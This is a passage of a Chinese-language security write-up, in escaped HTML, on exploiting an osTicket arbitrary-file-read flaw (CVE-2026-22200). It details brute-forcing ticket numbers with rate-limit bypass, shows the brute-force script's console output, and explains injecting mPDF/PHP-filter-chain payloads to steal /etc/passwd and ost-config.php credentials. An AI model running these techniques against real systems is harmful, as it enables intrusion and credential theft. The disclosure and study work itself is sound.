style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;自助注册&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 如果启用（默认），攻击者可注册账户、登录并创建工单。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;暴力破解&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 如果自助注册被禁用，攻击者可以访客身份提交工单，然后通过“检查工单状态”表单暴力破解访问权限。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;暴力破解路径借助了以下条件：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;检查工单状态预言机&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： “检查工单状态”表单充当了一个预言机，当电子邮箱和工单号码组合有效时会予以确认。若有效，系统会将工单访问链接发送到用户的电子邮箱。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;小的工单号码空间&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 默认情况下，工单号码空间为6位数字，从100000到999999。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;绕过速率限制&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 每次请求前开启一个新会话，即可绕过针对每个用户的速率限制保护。这也规避了暴力破解尝试的日志记录。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;创建多个工单&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 攻击者可创建多个工单（例如100个），由于工单号码在6位数字空间中随机分布，此举可极大加速暴力破解过程。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在团队的测试中，通过标准互联网连接进行暴力破解，通常可在不到一小时内轻松完成。&lt;/span&gt;&lt;/p&gt;&lt;pre data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;&quot;&gt;%&amp;nbsp;python&amp;nbsp;osticket_access_bruteforce.py&amp;nbsp;http://osticket.example.com&amp;nbsp;&amp;#39;XXX@XXX.com&amp;#39;&amp;nbsp;--threads&amp;nbsp;20======================================================================osTicket&amp;nbsp;工单访问链接枚举脚本======================================================================目标:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;http://osticket.example.com/邮箱:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;XXX@XXX.com工单范围:&amp;nbsp;&amp;nbsp;100000&amp;nbsp;-&amp;nbsp;999999延迟:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.5&amp;nbsp;秒线程数:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;20[*]&amp;nbsp;扫描开始于:&amp;nbsp;2026-01-21&amp;nbsp;14:47:16[i]&amp;nbsp;进度:&amp;nbsp;100/900000&amp;nbsp;已测试,&amp;nbsp;0&amp;nbsp;个有效发现[i]&amp;nbsp;进度:&amp;nbsp;200/900000&amp;nbsp;已测试,&amp;nbsp;0&amp;nbsp;个有效发现[i]&amp;nbsp;进度:&amp;nbsp;300/900000&amp;nbsp;已测试,&amp;nbsp;0&amp;nbsp;个有效发现&amp;gt;&amp;gt;已截断&amp;lt;&amp;lt;[i]&amp;nbsp;进度:&amp;nbsp;27000/900000&amp;nbsp;已测试,&amp;nbsp;0&amp;nbsp;个有效发现[i]&amp;nbsp;进度:&amp;nbsp;27100/900000&amp;nbsp;已测试,&amp;nbsp;0&amp;nbsp;个有效发现[i]&amp;nbsp;进度:&amp;nbsp;27200/900000&amp;nbsp;已测试,&amp;nbsp;0&amp;nbsp;个有效发现[+]&amp;nbsp;有效:&amp;nbsp;工单&amp;nbsp;#127227&amp;nbsp;-&amp;nbsp;访问链接已发送（需要邮箱验证）[i]&amp;nbsp;进度:&amp;nbsp;27300/900000&amp;nbsp;已测试,&amp;nbsp;1&amp;nbsp;个有效发现[i]&amp;nbsp;进度:&amp;nbsp;27400/900000&amp;nbsp;已测试,&amp;nbsp;1&amp;nbsp;个有效发现[i]&amp;nbsp;进度:&amp;nbsp;27500/900000&amp;nbsp;已测试,&amp;nbsp;1&amp;nbsp;个有效发现&amp;gt;&amp;gt;已截断&amp;lt;&amp;lt;&lt;/pre&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;某些非默认但较为常见的设置使获取工单访问权限变得更加容易：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;自动回复器&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 若启用了“新工单：工单所有者”自动回复器，系统会立即向提交新工单的任何人发送工单访问链接的邮件。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;用户界面自定义&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 若工单提交模板被修改为直接显示工单号码，则根本无需暴力破解。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;将有效载荷注入工单&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;获取工单访问权限后，攻击者便可向工单中注入针对服务器上特定文件的有效载荷。在下例中，他们生成了一个用于窃取&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;/etc/passwd&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;和敏感文件&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;include/ost-config.php&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;的载荷。此恶意字符串被直接放置于工单的富文本HTML内容中。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130102176983566231915.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;将文件读取载荷注入工单&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779367&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;将文件读取载荷注入工单&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;h4 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 18px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;处理工单回复&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h4&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果攻击者想在工单已开放的情况下针对更多文件，可通过回复工单来注入更多载荷。然而，系统处理工单回复的方式与创建工单略有不同：它执行了两次HTML实体解码，而非一次。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;为此，载荷必须被再次编码。这种情况下，载荷需要使用嵌套的实体序列&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;amp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mkqgyiao-9x7p0s&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#38&lt;/a&gt;;&amp;amp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mkqgyiao-zh86nu&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#35&lt;/a&gt;;&amp;amp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mkqgyiao-85nbxm&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#51&lt;/a&gt;;&amp;amp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mkqgyiao-0pzrqx&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#52&lt;/a&gt;&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;来替代&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;amp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mkqgyiao-zqu2cr&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#34&lt;/a&gt;&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;，才能在双重解码过程中存活下来，并以正确格式到达mPDF汇点。其&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osticket_ticket_payload_gen&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;脚本通过&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;--reply&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;标志来处理此问题。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;从PDF中提取数据&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;一旦工单包含恶意HTML，攻击者导航至工单视图并选择“打印”为PDF。这会强制mPDF处理注入的&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;list-style-image&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;属性，解析PHP过滤器链，并渲染目标文件。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130102176983566292727.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;打印工单为PDF以触发漏洞利用&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779365&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;打印工单为PDF以触发漏洞利用&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;被窃取的数据以位图图像形式嵌入生成的PDF中。这些文件可通过从PDF的图像对象中剥离伪造的BMP文件头来提取。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130103176983566330912.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;从PDF中提取被窃取的数据&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779369&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;从PDF中提取被窃取的数据&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;文件读取的特殊性&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在测试过程中，研究团队发现了几个影响数据窃取可靠性的细微之处：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;大写字母敏感性&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 他们观察到包含大写字母的文件路径有时会窃取失败。其&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osticket_ticket_payload_gen&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;脚本通过URL编码载荷中的大写字母来解决此问题。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;编码变化&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 标准过滤器链对文本文件有效，但二进制文件可能存在问题。他们发现，在BMP转换之前，将数据包装在&lt;/span&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Base64&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;或&lt;/span&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;zlib+Base64&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;过滤器中，对二进制文件能产生稳定结果。其&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osticket_ticket_payload_gen&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;脚本提供了这些编码选项。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;大小限制&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;： 被窃取的图像通常截断在大约45KB处。这对于捕获配置文件和凭据来说绰绰有余，但可能会限制对二进制文件、数据库文件和大日志文件的窃取。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;任意文件读取的影响&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击者在osTicket中利用任意文件读取能做些什么？除了像&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;/etc/passwd&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;这样的标准系统文件外，主要目标是位于应用程序Web根目录下的配置文件&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;include/ost-config.php&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;pre data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;&quot;&gt;#&amp;nbsp;加密/解密密钥&amp;nbsp;-&amp;nbsp;安装过程中随机生成。define(&amp;#39;SECRET_SALT&amp;#39;,&amp;#39;SEFDaIg1UP=Rh0xHE=Ij6Lew8u49L=Tt&amp;#39;);#&amp;nbsp;默认管理员邮箱。仅用于数据库连接问题及相关警报。define(&amp;#39;ADMIN_EMAIL&amp;#39;,&amp;#39;XXX@XXX.com&amp;#39;);#&amp;nbsp;数据库选项#&amp;nbsp;====================================================#&amp;nbsp;Mysql&amp;nbsp;登录信息#define(&amp;#39;DBTYPE&amp;#39;,&amp;#39;mysql&amp;#39;);#&amp;nbsp;DBHOST&amp;nbsp;可以包含逗号分隔的主机&amp;nbsp;(例如&amp;nbsp;db1:6033,db2:6033)define(&amp;#39;DBHOST&amp;#39;,&amp;#39;localhost&amp;#39;);define(&amp;#39;DBNAME&amp;#39;,&amp;#39;osticket&amp;#39;);define(&amp;#39;DBUSER&amp;#39;,&amp;#39;osticket&amp;#39;);define(&amp;#39;DBPASS&amp;#39;,&amp;#39;XXXXXXXX&amp;#39;);&lt;/pre&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;该文件包含访问osTicket数据库的凭据，以及一个用于加密操作的&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;SECRET_SALT&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;值。如果数据库暴露在外，攻击者即可访问并转储所有工单数据。此外，数据库密码本身也是对其他组织账户进行凭据填充攻击的潜在目标。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;SECRET_SALT&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;是一个主密钥，用于加密/解密数据库中的敏感配置，如LDAP凭据、SMTP凭据和AWS访问密钥。需要注意的是，即使数据库未暴露，在osTicket 1.18.2之前的版本中，存在一个重大的SQL注入漏洞CVE-2025-26241，该漏洞能使任何经过身份验证的用户（包括自助注册用户）转储osTicket数据库的内容。当结合利用此CVE-2026-22200漏洞（可获取&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;SECRET_SALT&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;）时，攻击者便能完全读取数据库内容。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;SECRET_SALT&lt;/span&gt;&lt;/code&gt;&lt;span 